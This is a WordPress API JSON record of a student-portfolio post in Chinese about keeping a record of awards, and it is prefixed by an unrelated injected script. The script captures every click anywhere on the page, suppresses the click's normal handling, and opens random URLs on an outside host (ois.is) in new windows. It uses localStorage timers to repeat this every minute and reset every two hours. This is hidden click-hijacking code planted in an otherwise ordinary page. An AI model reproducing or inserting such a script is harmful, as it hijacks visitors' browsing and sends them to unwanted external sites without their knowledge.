<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":393,"date":"2014-05-07T22:35:33","date_gmt":"2014-05-07T14:35:33","guid":{"rendered":"http:\/\/edu.secda.info\/scu8154128\/?p=393"},"modified":"2014-05-25T21:38:11","modified_gmt":"2014-05-25T13:38:11","slug":"%e5%a5%96%e5%8a%b1%e8%ae%b0%e5%bd%95","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154128\/?p=393","title":{"rendered":"\u734e\u52f5\u8a18\u9304"},"content":{"rendered":"<hr \/>\n<p><span style=\"font-size: 12pt; color: #808080;\">\u4f60\u53ef\u4ee5\u628a\u6bcf\u6b21\u7684\u734e\u52f5\uff0c\u4f9d\u7167\u65e5\u671f\u9806\u5e8f\u3001\u985e\u5225\u7b49\u65b9\u5f0f\uff0c\u5728\u6bcf\u6b21\u5f97\u734e\u5f8c\u8a18\u9304\u4e0b\u4f86\uff0c\u5229\u7528\u5716\u6a94\u3001\u5f71\u7247\u7b49\u65b9\u5f0f\u7559\u4e0b\u6bcf\u6b21\u7684\u5f97\u734e\u8b49\u660e\u8207\u8aaa\u660e\u3002 \u5373\u4f7f\u662f\u8001\u5e2b\u3001\u9577\u8f29\u9f13\u52f5\u3001\u80af\u5b9a\u7684\u7121\u5f62\u734e\u52f5\uff0c\u90fd\u53ef\u4ee5\u628a\u4f60\u8868\u73fe\u597d\u7684\u4e00\u9762\u8a18\u9304\u4fdd\u7559\u4e0b\u4f86\u3002<\/span><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4f60\u53ef\u4ee5\u628a\u6bcf\u6b21\u7684\u734e\u52f5\uff0c\u4f9d\u7167\u65e5\u671f\u9806\u5e8f\u3001\u985e\u5225\u7b49\u65b9\u5f0f\uff0c\u5728\u6bcf\u6b21\u5f97\u734e\u5f8c\u8a18\u9304\u4e0b\u4f86\uff0c\u5229\u7528\u5716\u6a94\u3001\u5f71<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[19],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/posts\/393"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=393"}],"version-history":[{"count":5,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/posts\/393\/revisions"}],"predecessor-version":[{"id":697,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/posts\/393\/revisions\/697"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=393"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=393"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=393"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}